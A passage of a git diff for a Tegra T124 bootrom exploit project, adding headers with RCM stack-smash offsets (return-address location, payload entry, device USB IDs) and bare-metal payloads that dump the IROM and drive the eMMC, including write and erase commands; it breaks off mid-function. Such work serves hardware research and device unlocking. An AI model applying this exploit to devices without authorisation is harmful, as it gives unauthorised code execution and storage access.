uint32_t FUSE_DENVER_MTS_DE_FEATURE; //0x1ac
|
||||
uint32_t FUSE_DIE_VERSION_OVERRIDE; //0x1b0
|
||||
uint32_t FUSE_TRIMMERS; //0x1b4
|
||||
uint32_t FUSE_DENVER_BOOT_SEC; //0x1b8
|
||||
uint32_t FUSE_DENVER_DFD_ACCESS; //0x1bc
|
||||
uint32_t FUSE_WOA_SKU_FLAG; //0x1c0
|
||||
uint32_t FUSE_ECO_RESERVE_1; //0x1c4
|
||||
uint32_t FUSE_GCPLEX_CONFIG_FUSE; //0x1c8
|
||||
uint32_t RESERVED_0x1CC;
|
||||
uint32_t RESERVED_0x1D0;
|
||||
uint32_t RESERVED_0x1D4;
|
||||
uint32_t RESERVED_0x1D8;
|
||||
uint32_t RESERVED_0x1DC;
|
||||
uint32_t RESERVED_0x1E0;
|
||||
uint32_t RESERVED_0x1E4;
|
||||
uint32_t RESERVED_0x1E8;
|
||||
uint32_t RESERVED_0x1EC;
|
||||
uint32_t RESERVED_0x1F0;
|
||||
uint32_t RESERVED_0x1F4;
|
||||
uint32_t RESERVED_0x1F8;
|
||||
uint32_t FUSE_SPARE_REALIGNMENT_REG; //0x1fc
|
||||
uint32_t FUSE_SPARE_BITS[0X40]; //0x200 - 0X2fc
|
||||
} fuse_chip_registers_t;
|
||||
|
||||
void print_fuses( fuse_chip_registers_t *fuse_chip_registers );
|
||||
|
||||
#endif
|
||||
|
||||
16
Shofel/include/mem_dumper_usb_server.h
Normal file
16
Shofel/include/mem_dumper_usb_server.h
Normal file
@@ -0,0 +1,16 @@
|
||||
#ifndef _MEM_DUMP_USB_SERVER_H_
|
||||
#define _MEM_DUMP_USB_SERVER_H_
|
||||
|
||||
#if __arm__
|
||||
typedef u32 uint32_t;
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#endif
|
||||
|
||||
struct mem_dumper_args_s {
|
||||
uint32_t start;
|
||||
uint32_t len;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
37
Shofel/include/mini_libusb.h
Normal file
37
Shofel/include/mini_libusb.h
Normal file
@@ -0,0 +1,37 @@
|
||||
#ifndef _MINI_LIBUSB_H_
|
||||
#define _MINI_LIBUSB_H_
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <dirent.h>
|
||||
|
||||
#include <errno.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <linux/usbdevice_fs.h>
|
||||
|
||||
#define USB_CTRL_DEVICE_ENDPOINT_TO_HOST 0x82
|
||||
#define USB_CTRL_GET_STATUS 0x00
|
||||
|
||||
#define USB_BULK_TIMEOUT 500
|
||||
|
||||
#if DEBUG
|
||||
#define DEBUG_MSG(fmt, ...) do { fprintf( stderr, "%s:%d:%s(): " fmt, \
|
||||
__FILE__, __LINE__, __func__, ##__VA_ARGS__ ); } while(0)
|
||||
#else
|
||||
#define DEBUG_MSG(fmt, ...)
|
||||
#endif
|
||||
|
||||
int usb_open_by_vid_pid( uint16_t vid, uint16_t pid, uint8_t wait );
|
||||
int usb_close( int usb );
|
||||
int usb_send_bulk_txn( int usb, uint32_t ep, uint32_t len, void *data );
|
||||
int usb_send_control_txn( int usb, uint8_t bRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, uint16_t len, uint8_t *data, int32_t timeout );
|
||||
|
||||
#endif
|
||||
|
||||
17
Shofel/include/rcm.h
Normal file
17
Shofel/include/rcm.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#ifndef _RCM_H_
|
||||
#define _RCM_H_
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "t124.h"
|
||||
#include "mini_libusb.h"
|
||||
#include "endianness.h"
|
||||
|
||||
int send_rcm_cmd( int rcm_usb, char* payload_filename, uint32_t payload_thumb_mode );
|
||||
|
||||
#endif
|
||||
102
Shofel/include/t124.h
Normal file
102
Shofel/include/t124.h
Normal file
@@ -0,0 +1,102 @@
|
||||
#ifndef _T124_RCM_H_
|
||||
#define _T124_RCM_H_
|
||||
|
||||
#define JETSON_TK1_VID 0x0955
|
||||
#define JETSON_TK1_PID 0x7140
|
||||
|
||||
#define SHIELD_TK1_VID 0x0955
|
||||
#define SHIELD_TK1_PID 0x7f40
|
||||
|
||||
#define JIBO_TK1_VID 0x0955
|
||||
#define JIBO_TK1_PID 0x7740
|
||||
|
||||
#define IROM_BEGIN 0x00100000
|
||||
#define IROM_END 0x0010FFFF
|
||||
#define IROM_LEN 0x00010000
|
||||
|
||||
#define IRAM_BEGIN 0x40000000
|
||||
#define IRAM_END 0x4003FFFF
|
||||
#define IRAM_LEN 0x00040000
|
||||
|
||||
#define BOOTROM_DO_BCT_BOOT 0x00100624
|
||||
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
|
||||
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
|
||||
#define BOOTROM_USB_BUF_1 0x40004000
|
||||
#define BOOTROM_USB_BUF_2 0x40008000
|
||||
#define BOOTROM_PAYLOAD_ENTRY 0x4000E000
|
||||
#define BOOTROM_SMASH_TARGET 0x4000DCD8
|
||||
#define BOOTROM_STACK_GAP_LEN 0x30C
|
||||
#define BOOTROM_SMASH_LEN (BOOTROM_SMASH_TARGET - BOOTROM_USB_BUF_2) // 0x5CD8
|
||||
|
||||
#define VARS_LEN 0x10
|
||||
|
||||
#define INTERMEZZO_LEN 0x100
|
||||
#define INTERMEZZO_REL_ADD ( BOOTROM_PAYLOAD_ENTRY - INTERMEZZO_LEN ) // 0x4000DF00
|
||||
|
||||
#define OFFSET_INTERMEZZO_START 0x0
|
||||
#define OFFSET_PAYLOAD_START ( INTERMEZZO_LEN )
|
||||
#define OFFSET_MEMCPY_RET_ADD ( BOOTROM_SMASH_LEN - BOOTROM_STACK_GAP_LEN - 0x4 ) // 0x59C8 ( 0x30C Bytes copied from the stack before entry )
|
||||
#define OFFSET_PAYLOAD_BEF_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x4 )
|
||||
#define OFFSET_PAYLOAD_AFT_LENVAR ( OFFSET_MEMCPY_RET_ADD - 0x8 )
|
||||
#define OFFSET_PAYLOAD_THUMB_MODE ( OFFSET_MEMCPY_RET_ADD - 0xC )
|
||||
#define OFFSET_PAYLOAD_CONT ( OFFSET_MEMCPY_RET_ADD + 0x4 )
|
||||
|
||||
|
||||
#define IRAM_ADD_INTERMEZZO_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_INTERMEZZO_START )
|
||||
#define IRAM_ADD_PAYLOAD_START ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_START )
|
||||
#define IRAM_ADD_PAYLOAD_BEF_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
#define IRAM_ADD_PAYLOAD_AFT_LENVAR ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
#define IRAM_ADD_PAYLOAD_THUMB_MODE ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
#define IRAM_ADD_PAYLOAD_CONT ( BOOTROM_PAYLOAD_ENTRY + OFFSET_PAYLOAD_CONT )
|
||||
|
||||
|
||||
#define RCM_EP1_IN 0x81
|
||||
#define RCM_EP1_OUT 0x01
|
||||
#define RCM_CHIP_ID_LEN 0x10
|
||||
|
||||
#define RCM_CMD_LEN 0x32274
|
||||
#define RCM_CMD_MAX_USEFUL_LEN 0x31000 // Ensures Header + Payload + Padding doesn't complete RCM CMD and buffer 2 is used for getstatus.
|
||||
#define RCM_CMD_HEADER_LEN 0x284
|
||||
|
||||
#define RCM_CMD_BUF_INTERMEZZO_START ( RCM_CMD_HEADER_LEN + OFFSET_INTERMEZZO_START )
|
||||
#define RCM_CMD_BUF_PAYLOAD_START ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_START )
|
||||
#define RCM_CMD_BUF_MEMCPY_RET_ADD ( RCM_CMD_HEADER_LEN + OFFSET_MEMCPY_RET_ADD )
|
||||
#define RCM_CMD_BUF_PAYLOAD_BEF_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_BEF_LENVAR )
|
||||
#define RCM_CMD_BUF_PAYLOAD_AFT_LENVAR ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_AFT_LENVAR )
|
||||
#define RCM_CMD_BUF_PAYLOAD_THUMB_MODE ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_THUMB_MODE )
|
||||
#define RCM_CMD_BUF_PAYLOAD_CONT ( RCM_CMD_HEADER_LEN + OFFSET_PAYLOAD_CONT )
|
||||
|
||||
|
||||
#define MAX_PAYLOAD_BEF_SIZE ( OFFSET_PAYLOAD_THUMB_MODE - OFFSET_PAYLOAD_START ) // 22716 Bytes
|
||||
#define MAX_PAYLOAD_AFT_SIZE ( RCM_CMD_MAX_USEFUL_LEN - RCM_CMD_BUF_PAYLOAD_CONT ) // 177072 Bytes
|
||||
#define MAX_PAYLOAD_FILE_SIZE ( MAX_PAYLOAD_BEF_SIZE + MAX_PAYLOAD_AFT_SIZE ) // 199788 Bytes
|
||||
|
||||
|
||||
#define SECURE_BOOT_BASE 0x6000C200
|
||||
#define SB_CSR_0 0x0
|
||||
#define SB_PIROM_START_0 0x4
|
||||
#define SB_PFCFG_0 0x8
|
||||
#define JTAG_ON 0x00000080
|
||||
|
||||
#define APB_BASE 0x70000000
|
||||
#define APB_MISC_PP_CONFIG_CTL_0 0x24
|
||||
#define APB_MISC_PP_CONFIG_CTL_0_JTAG 0x40
|
||||
#define APB_MISC_PP_CONFIG_CTL_0_TBE 0x80
|
||||
|
||||
#define FLOW_CTLR_BASE 0x60007000
|
||||
#define FLOW_CTLR_HALT_COP_EVENTS_0 0x4
|
||||
#define FLOW_CTLR_HALT_COP_FLOW_MODE_WAITEVENT (1 << 30)
|
||||
#define FLOW_CTLR_HALT_COP_JTAG (1 << 28)
|
||||
|
||||
#define PMC_BASE 0x7000e400
|
||||
#define PMC_CNTRL 0x000
|
||||
#define PMC_CNTRL_MAIN_RST (1 << 4)
|
||||
#define PMC_SCRATCH0 0x050
|
||||
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
|
||||
|
||||
#define FUSE_BASE 0x7000F900
|
||||
#define FUSE_LEN 0x300
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
19
Shofel/include/types.h
Normal file
19
Shofel/include/types.h
Normal file
@@ -0,0 +1,19 @@
|
||||
#ifndef _TYPES_H_
|
||||
#define _TYPES_H_
|
||||
|
||||
typedef signed char s8;
|
||||
typedef signed short s16;
|
||||
typedef signed int s32;
|
||||
typedef signed long long s64;
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned long long u64;
|
||||
typedef volatile u8 vu8;
|
||||
typedef volatile u16 vu16;
|
||||
typedef volatile u32 vu32;
|
||||
typedef volatile u64 vu64;
|
||||
typedef u32 size_t;
|
||||
typedef u32 uintptr_t;
|
||||
|
||||
#endif
|
||||
24
Shofel/payloads/boot_bct.c
Normal file
24
Shofel/payloads/boot_bct.c
Normal file
@@ -0,0 +1,24 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
|
||||
typedef void (*do_bct_boot_t)( void );
|
||||
|
||||
void memcpy( void *dst, const void *src, size_t len ) {
|
||||
|
||||
for ( size_t i = 0; i < len; i++ ) {
|
||||
( (u8 *)dst )[i] = ( (u8 *)src )[i];
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void entry() {
|
||||
|
||||
memcpy( (void*) ( IRAM_END - IROM_LEN + 1 ), (void*) IROM_BEGIN, IROM_LEN );
|
||||
|
||||
register do_bct_boot_t do_bct_boot = (do_bct_boot_t) ( BOOTROM_DO_BCT_BOOT | 1 );
|
||||
do_bct_boot();
|
||||
while(1);
|
||||
|
||||
}
|
||||
|
||||
862
Shofel/payloads/emmc_server.c
Normal file
862
Shofel/payloads/emmc_server.c
Normal file
@@ -0,0 +1,862 @@
|
||||
#include "types.h"
|
||||
#include "t124.h"
|
||||
#include "emmc.h"
|
||||
#include "emmc_server.h"
|
||||
|
||||
typedef void (*ep1_x_imm_t)(void *buffer, u32 size, u32 *num_xfer);
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
static inline void and32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) & val);
|
||||
}
|
||||
|
||||
void enter_rcm() {
|
||||
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
||||
static void delay(u32 count) {
|
||||
for (volatile u32 d = 0; d < count; d++) ;
|
||||
}
|
||||
|
||||
/*
|
||||
* SDHCI register access: use native 16-bit/8-bit widths where the SDHCI
|
||||
* spec defines sub-word registers. The Linux kernel uses writew/readw for
|
||||
* Clock Control (0x2C) and writeb/readb for Software Reset (0x2F).
|
||||
* ARM7TDMI supports LDRH/STRH and LDRB/STRB natively.
|
||||
*
|
||||
* Register map at SDHCI offset 0x2C (32-bit word):
|
||||
* [15:0] = Clock Control (16-bit at 0x2C)
|
||||
* [23:16] = Timeout Control (8-bit at 0x2E)
|
||||
* [31:24] = Software Reset (8-bit at 0x2F)
|
||||
*/
|
||||
|
||||
static inline u16 read16(uintptr_t addr) {
|
||||
return *(vu16 *)addr;
|
||||
}
|
||||
|
||||
static inline void write16(uintptr_t addr, u16 val) {
|
||||
*(vu16 *)addr = val;
|
||||
}
|
||||
|
||||
static inline u8 read8(uintptr_t addr) {
|
||||
return *(vu8 *)addr;
|
||||
}
|
||||
|
||||
static inline void write8(uintptr_t addr, u8 val) {
|
||||
*(vu8 *)addr = val;
|
||||
}
|
||||
|
||||
/* Clock Control: 16-bit register at offset 0x2C */
|
||||
static u16 read_clkctl(void) {
|
||||
return read16(SDMMC4_BASE + 0x2C);
|
||||
}
|
||||
|
||||
/* Software Reset: 8-bit register at offset 0x2F */
|
||||
static void write_swrst(u8 bits) {
|
||||
write8(SDMMC4_BASE + 0x2F, bits);
|
||||
}
|
||||
|
||||
static u8 read_swrst(void) {
|
||||
return read8(SDMMC4_BASE + 0x2F);
|
||||
}
|
||||
|
||||
/* Host Control: 8-bit at offset 0x28 */
|
||||
static u8 read_hostctl(void) {
|
||||
return read8(SDMMC4_BASE + SDHCI_HOST_CONTROL);
|
||||
}
|
||||
|
||||
static void write_hostctl(u8 val) {
|
||||
write8(SDMMC4_BASE + SDHCI_HOST_CONTROL, val);
|
||||
}
|
||||
|
||||
/* Timeout Control: 8-bit at offset 0x2E */
|
||||
static void write_timeout(u8 val) {
|
||||
write8(SDMMC4_BASE + 0x2E, val);
|
||||
}
|
||||
|
||||
static u32 last_cmd_int_status = 0; /* INT_STATUS captured on last cmd error */
|
||||
static u32 last_read_int_status = 0; /* INT_STATUS captured on last read error */
|
||||
|
||||
/*
|
||||
* Send a command to the eMMC card via SDHCI.
|
||||
* cmd_val: 16-bit command register value
|
||||
* argument: 32-bit command argument
|
||||
* Returns 0 on success, negative on error:
|
||||
* -1 = CMD_INHIBIT timeout (command line busy)
|
||||
* -2 = SDHCI_INT_ERROR (card/controller error)
|
||||
* -3 = CMD_COMPLETE timeout (command sent but no response)
|
||||
* -4 = DAT_INHIBIT timeout (R1b busy signal)
|
||||
*/
|
||||
static int send_cmd(u32 cmd_val, u32 argument) {
|
||||
u32 status;
|
||||
u32 timeout;
|
||||
|
||||
/* Wait for CMD line free */
|
||||
timeout = 500000;
|
||||
while (read32(SDMMC4_BASE + SDHCI_PRESENT_STATE) & SDHCI_CMD_INHIBIT) {
|
||||
if (--timeout == 0) {
|
||||
last_cmd_int_status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Clear all pending interrupts */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
|
||||
/* Set argument */
|
||||
write32(SDMMC4_BASE + SDHCI_ARGUMENT, argument);
|
||||
|
||||
/* Issue command (32-bit write: command in upper 16, xfer mode=0 in lower 16) */
|
||||
write32(SDMMC4_BASE + SDHCI_TRANSFER_MODE, (cmd_val << 16));
|
||||
|
||||
/* Wait for Command Complete (even for no-response commands like CMD0,
|
||||
* the SDHCI controller sets CMD_COMPLETE after sending the command) */
|
||||
timeout = 500000;
|
||||
do {
|
||||
status = read32(SDMMC4_BASE + SDHCI_INT_STATUS);
|
||||
if (status & SDHCI_INT_ERROR) {
|
||||
last_cmd_int_status = status;
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, 0xFFFFFFFF);
|
||||
write_swrst(SDHCI_RESET_CMD);
|
||||
delay(1000);
|
||||
return -2;
|
||||
}
|
||||
if (status & SDHCI_INT_CMD_COMPLETE) break;
|
||||
if (--timeout == 0) {
|
||||
last_cmd_int_status = status;
|
||||
return -3;
|
||||
}
|
||||
} while (1);
|
||||
|
||||
/* Clear Command Complete */
|
||||
write32(SDMMC4_BASE + SDHCI_INT_STATUS, SDHCI_INT_CMD_COMPLETE);
|
||||
|
||||
/* For R1b responses, wait for DAT line to become free (busy signal) */
|
||||
if ((cmd_val & 0x03) == 0x03) {
|
||||
timeout = 1000000;
|
||||
while (read32(SDMMC4_BASE + SDHCI_PRESENT_STATE) & SDHCI_DAT_INHIBIT) {
|
||||
if (--timeout == 0) return -4;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* MMC command register values (16-bit, for upper half of 0x0C write).
|
||||
* Format: (cmd_index << 8) | flags
|
||||
* Response: 00=none, 01=136-bit(R2), 02=48-bit(R1/R3), 03=48-bit+busy(R1b)
|
||||
*/
|
||||
#define MMC_CMD0 0x0000 /* GO_IDLE_STATE: no response */
|
||||
#define MMC_CMD1 0x0102 /* SEND_OP_COND: R3, no CRC/index check */
|
||||
#define MMC_CMD2 0x0209 /* ALL_SEND_CID: R2 (136-bit), CRC check */
|
||||
#define MMC_CMD3 0x031A /* SET_RELATIVE_ADDR: R1, CRC+index check */
|
||||
#define MMC_CMD7 0x071B /* SELECT_CARD: R1b, CRC+index check */
|
||||
#define MMC_CMD8 0x083A /* SEND_EXT_CSD: R1, 512-byte data, CRC+index check */
|
||||
#define MMC_CMD12 0x0C1B /* STOP_TRANSMISSION: R1b, no data, CRC+index check */
|
||||
#define MMC_CMD16 0x101A /* SET_BLOCKLEN: R1, CRC+index check */
|
||||
#define MMC_CMD18 0x123A /* READ_MULTIPLE_BLOCK: R1, data, CRC+index check */
|
||||
#define MMC_CMD24 0x183A /* WRITE_BLOCK: R1, data, CRC+index check */
|
||||
#define MMC_CMD25 0x193A /* WRITE_MULTIPLE_BLOCK: R1, data, CRC+index check */
|
||||
#define MMC_CMD35 0x233A /* ERASE_GROUP_START: R1, CRC+index check */
|
||||
#define MMC_CMD36 0x243A /* ERASE_GROUP_END: R1, CRC+index check */
|
||||
#define MMC_CMD38 0x263B /* ERASE: R1b, CRC+index check */
|
||||
|
||||
static u32 sdmmc4_initialized = 0;
|
||||
static u32 init_error = 0;
|
||||
|
||||
/* Diagnostic trace: stores CAR/SDHCI state at key init steps */
|
||||
static u32 diag[40];
|
||||
|
||||
/*
|
||||
* Perform pad auto-calibration (from IROM reverse engineering at 0x10a788).
|
||||
* Calibrates I/O pad impedance for SDMMC4 interface.
|
||||
* Must be called after clock is enabled and reset deasserted.
|
||||
*/
|
||||
static void sdmmc4_auto_cal(void) {
|
||||
u32 timeout;
|
||||
|
||||
/* Set COMP_PADCTRL_E_INPUT (bit 31) - force pads powered for calibration */
|
||||
or32(SDMMC4_BASE + SDMMC_SDMEMCOMP_PADCTRL, SDMMC_COMP_PADCTRL_E_INPUT);
|
||||
|
||||
/* Start auto-calibration: set AUTO_CAL_START (bit 31) + AUTO_CAL_ENABLE (bit 29) */
|
||||
or32(SDMMC4_BASE + SDMMC_AUTO_CAL_CONFIG,
|
||||
SDMMC_AUTO_CAL_START | SDMMC_AUTO_CAL_ENABLE);
|
||||
|
||||
/* Readback for memory fence */
|
||||
(void)read32(SDMMC4_BASE + SDMMC_AUTO_CAL_CONFIG);
|
||||
|
||||
/* Poll AUTO_CAL_STATUS bit 31 until clear (calibration complete) */
|
||||
timeout = 100000;
|
||||
while ((read32(SDMMC4_BASE + SDMMC_AUTO_CAL_STATUS) & SDMMC_AUTO_CAL_ACTIVE)
|
||||
&& --timeout) {
|
||||
delay(1);
|
||||
}
|
||||
|
||||
if (!timeout) {
|
||||
/* Timeout - disable auto-cal enable */
|
||||
and32(SDMMC4_BASE + SDMMC_AUTO_CAL_CONFIG, ~SDMMC_AUTO_CAL_ENABLE);
|
||||
}
|
||||
|
||||
/* Clear COMP_PADCTRL_E_INPUT (bit 31) - release forced pad power */
|
||||
and32(SDMMC4_BASE + SDMMC_SDMEMCOMP_PADCTRL, ~SDMMC_COMP_PADCTRL_E_INPUT);
|
||||
}
|
||||
|
||||
/*
|
||||
* Initialize SDMMC4 controller and eMMC card.
|
||||
*
|
||||
* ATTEMPT 29: Call the IROM's device_init_generic() function directly
|
||||
* to perform the pad/pinmux/drive configuration from the IROM's internal
|
||||
* tables. This is the one step we've never done — the IROM calls it
|
||||
* BEFORE the CAR reset cycle, and it configures pad drive strength,
|
||||
* voltage, and pinmux from data-driven tables in the ROM.
|
||||
*
|
||||
* The IROM's device_init_generic is at 0x101EA8 (Thumb).
|
||||
* It reads a table pointer from IRAM at 0x400022FC.
|
||||
* Calling convention: r0 = device_index (0), r1 = voltage_mode (2 or 3).
|
||||
*
|
||||
* Diagnostic layout (diag[0..39] → regs[16..55]):
|
||||
* [0] CLK_OUT_ENB_L (residual)
|
||||
* [1] RST_DEVICES_L (residual)
|
||||
* [2] CLK_SOURCE_SDMMC4 (residual)
|
||||
* [3] IO_DPD2_STATUS (residual)
|
||||
* [4] IRAM[0x400022FC] (table pointer)
|
||||
* [5] table[0] (first word of table data)
|
||||
* [6] table[1] (second word)
|
||||
* [7] CAPABILITIES
|
||||
* [8] device_init_generic return value
|
||||
* [9] 0x2C after stable poll
|
||||
* [10] stable flag (0 or 1)
|
||||
* [11] 0x2C final
|
||||
* [12] 0x28 final (host+power)
|
||||
* [13] PRESENT_STATE (before CMD0)
|
||||
* [14] VENDOR_CLK_CTRL (after init)
|
||||
* [15] VENDOR_MISC_CTRL (after init)
|
||||
* [19] PLLP_BASE
|
||||
* [20] PMC+0xE8 (before)
|
||||
* [30] result: 0=fail, 1=stable, 2=CMD0 OK
|
||||
* [33] CMD error code
|
||||
* [34] CMD INT_STATUS
|
||||
* [35] CMD PRESENT_STATE
|
||||
*/
|
||||
static void init_sdmmc4(void) {
|
||||
u32 timeout;
|
||||
int cmd_ret;
|
||||
|
||||
if (sdmmc4_initialized) return;
|
||||
|
||||
init_error = 0;
|
||||
|
||||
/* ============================================================
|
||||
* PHASE 0: RESIDUAL STATE + IRAM TABLE CHECK
|
||||
* ============================================================ */
|
||||
|
||||
/* CAR state */
|
||||
diag[0] = read32(CAR_BASE + 0x10); /* CLK_OUT_ENB_L */
|
||||
diag[1] = read32(CAR_BASE + 0x04); /* RST_DEVICES_L */
|
||||
diag[2] = read32(CAR_BASE + 0x164); /* CLK_SOURCE_SDMMC4 */
|
||||
diag[19] = read32(CAR_BASE + 0xA0); /* PLLP_BASE */
|
||||
|
||||
/* PMC state */
|
||||
diag[3] = read32(PMC_BASE + 0x1C4); /* IO_DPD2_STATUS */
|
||||
diag[20] = read32(PMC_BASE + 0xE8); /* PMC+0xE8 */
|
||||
|
||||
/* Read IROM's IRAM table pointer for device_init_generic */
|
||||
diag[4] = read32(0x400022FC); /* table pointer array base */
|
||||
{
|
||||
u32 tbl = diag[4];
|
||||
if ((tbl >= 0x100000 && tbl < 0x110000) ||
|
||||
(tbl >= 0x40000000 && tbl < 0x40040000)) {
|
||||
diag[5] = read32(tbl); /* table[0] */
|
||||
diag[6] = read32(tbl + 4); /* table[1] */
|
||||
} else {
|
||||
diag[5] = 0xBAD00BAD;
|
||||
diag[6] = 0xBAD00BAD;
|
||||
}
|
||||
}
|
||||
|
||||
/* Ensure SDMMC4 clock on for register reads */
|
||||
if (!(diag[0] & CAR_SDMMC4_BIT))
|
||||
write32(CAR_BASE + CAR_CLK_ENB_L_SET, CAR_SDMMC4_BIT);
|
||||
if (diag[1] & CAR_SDMMC4_BIT)
|
||||
write32(CAR_BASE + CAR_RST_DEV_L_CLR, CAR_SDMMC4_BIT);
|
||||
(void)read32(CAR_BASE + 0x04);
|
||||
delay(5000);
|
||||
|
||||
diag[7] = read32(SDMMC4_BASE + 0x40); /* CAPABILITIES */
|
||||
|
||||
/* ============================================================
|
||||
* PHASE 1: CALL IROM's device_init_generic
|
||||
* ============================================================
|
||||
* This is the missing step! The IROM calls this function at
|
||||
* 0x101EA8 BEFORE the CAR reset cycle. It configures:
|
||||
* - Pinmux (with tristate sequencing)
|
||||
* - Pad drive strength / voltage mode
|
||||
* - Possibly pad group registers
|
||||
*
|
||||
* The function reads its table from IRAM at 0x400022FC.
|
||||
* This IRAM area (offset 0x22FC) is below the stack area
|
||||
* and should survive our exploit.
|
||||
*/
|
||||
|
||||
/* Release DPD first (IROM does this earlier in boot) */
|
||||
write32(PMC_BASE + 0x1B8, 0x7FFFFFFF);
|
||||
delay(2000);
|
||||
write32(PMC_BASE + 0x1C0, 0x7FFFFFFF);
|
||||
delay(5000);
|
||||
|
||||
/* Clear PMC+0xE8 bit 1 (IROM does this before device_init_generic) */
|
||||
and32(PMC_BASE + 0xE8, ~0x2u);
|
||||
delay(1000);
|
||||
|
||||
/* Call IROM's device_init_generic(0, 3)
|
||||
* Args: r0=0 (device index for SDMMC4), r1=3 (3.3V voltage mode)
|
||||
* Address 0x101EA8 | 1 = 0x101EA9 for Thumb mode call */
|
||||
{
|
||||
typedef int (*dev_init_fn_t)(int device, int voltage);
|
||||
dev_init_fn_t irom_dev_init = (dev_init_fn_t)(0x101EA9);
|
||||
diag[8] = (u32)irom_dev_init(0, 3);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* PHASE 2: CAR RESET + SDHCI INIT (same as IROM does AFTER
|
||||
* device_init_generic)
|
||||
* ============================================================ */
|
||||
|
||||
/* CAR: assert reset */
|
||||
or32(CAR_BASE + 0x04, CAR_SDMMC4_BIT);
|
||||
(void)read32(CAR_BASE + 0x04);
|
||||
delay(2000);
|
||||
|
||||
/* Set clock source: PLLP, N=0x20 → 24 MHz */
|
||||
write32(CAR_BASE + 0x164, 0x00000020);
|
||||
(void)read32(CAR_BASE + 0x164);
|
||||
delay(2000);
|
||||
|
||||
/* Enable SDMMC4 clock */
|
||||
or32(CAR_BASE + 0x10, CAR_SDMMC4_BIT);
|
||||
(void)read32(CAR_BASE + 0x10);
|
||||
delay(2000);
|
||||
|
||||
/* Deassert SDMMC4 reset */
|
||||
and32(CAR_BASE + 0x04, ~CAR_SDMMC4_BIT);
|
||||
(void)read32(CAR_BASE + 0x04);
|
||||
delay(2000);
|
||||
|
||||
/* Auto-calibration */
|
||||
sdmmc4_auto_cal();
|
||||
|
||||
/* Clock Control: IntClkEn + div=0x01 (proven 160KB/s speed) */
|
||||
write32(SDMMC4_BASE + SDHCI_CLOCK_CONTROL, 0x00000101);
|
||||
(void)read32(SDMMC4_BASE + SDHCI_CLOCK_CONTROL);
|
||||
|
||||
/* Poll stable with shorter timeout, accept if not stable */
|
||||
{
|
||||
u32 start = read32(0x60005010);
|
||||
diag[10] = 0;
|
||||
while ((read32(0x60005010) - start) < 50000) { /* reduced from 100ms to 50ms */
|
||||
if (read32(SDMMC4_BASE + 0x2C) & 0x0002) {
|
||||
diag[10] = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
diag[9] = read32(SDMMC4_BASE + 0x2C);
|
||||
}
|
||||
|
||||
/*power ON (host control + power) */
|
||||
write32(SDMMC4_BASE + 0x28, 0x00000D00);
|
||||
(void)read32(SDMMC4_BASE + 0x28);
|
||||
delay(5000);
|
||||
|
||||
/* turn on SDHCI 3.0 mode*/
|
||||
write32(SDMMC4_BASE + SDMMC_VENDOR_MISC_CTRL, SDMMC_MISC_CTRL_SPEC_300);
|
||||
|
||||
/* Set data timeout to maximum (TMCLK * 2^27) */
|
||||
write_timeout(0x0E);
|
||||
|
||||
/* Enable interrupts (0x00FB = IROM's 0x00CB + BUF_WR_READY + BUF_RD_READY for PIO) */
|
||||
write32(SDMMC4_BASE + 0x34, 0x007F00FB);
|
||||
|
||||
/* Enable SD Clock (only works if stable is set) */
|
||||
{
|
||||
u32 clk = read32(SDMMC4_BASE + 0x2C);
|
||||
clk |= 0x0004;
|
||||
write32(SDMMC4_BASE + 0x2C, clk);
|
||||
}
|
||||
(void)read32(SDMMC4_BASE + 0x2C);
|
||||
delay(5000);
|
||||
|
||||
/* Capture final state */
|
||||
diag[11] = read32(SDMMC4_BASE + 0x2C); /* clock control */
|
||||
